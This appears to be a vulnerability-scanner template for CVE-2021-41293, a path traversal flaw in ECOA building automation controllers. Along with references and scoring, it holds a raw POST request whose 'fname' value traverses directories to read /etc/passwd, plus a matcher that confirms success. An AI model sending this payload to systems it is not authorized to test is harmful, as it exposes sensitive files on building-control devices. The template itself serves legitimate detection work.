45 lines
1.6 KiB
YAML
45 lines
1.6 KiB
YAML
id: CVE-2021-41293
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info:
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name: ECOA Building Automation System - Arbitrary File Retrieval
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author: 0x_Akoko
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severity: high
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description: The ECOA BAS controller suffers from an arbitrary file disclosure vulnerability. Using the 'fname' POST parameter in viewlog.jsp, attackers can disclose arbitrary files on the affected device and disclose sensitive and system information.
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remediation: |
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Apply the latest security patches or updates provided by the vendor to fix the arbitrary file retrieval vulnerability in the ECOA Building Automation System.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2021-41293
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- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5679.php
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- https://www.twcert.org.tw/tw/cp-132-5129-7e623-1.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2021-41293
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cwe-id: CWE-22
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epss-score: 0.0476
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epss-percentile: 0.9178
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cpe: cpe:2.3:o:ecoa:ecs_router_controller-ecs_firmware:-:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: ecoa
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product: ecs_router_controller-ecs_firmware
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tags: cve,cve2021,ecoa,lfi,disclosure
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http:
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- raw:
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- |
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POST /viewlog.jsp HTTP/1.1
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Host: {{Hostname}}
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yr=2021&mh=6&fname=../../../../../../../../etc/passwd
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "root:.*:0:0:"
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- type: status
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status:
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- 200
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# digest: 4a0a0047304502206f56176f8038653332ef4cb4d553e3aabb389ca46354926fb435ff6f72b0172b022100e0f9b378bb9505d0297a7ed6c7138f8ab7908c44e3f046306a5c8a5cc83ee289:922c64590222798bb761d5b6d8e72950 |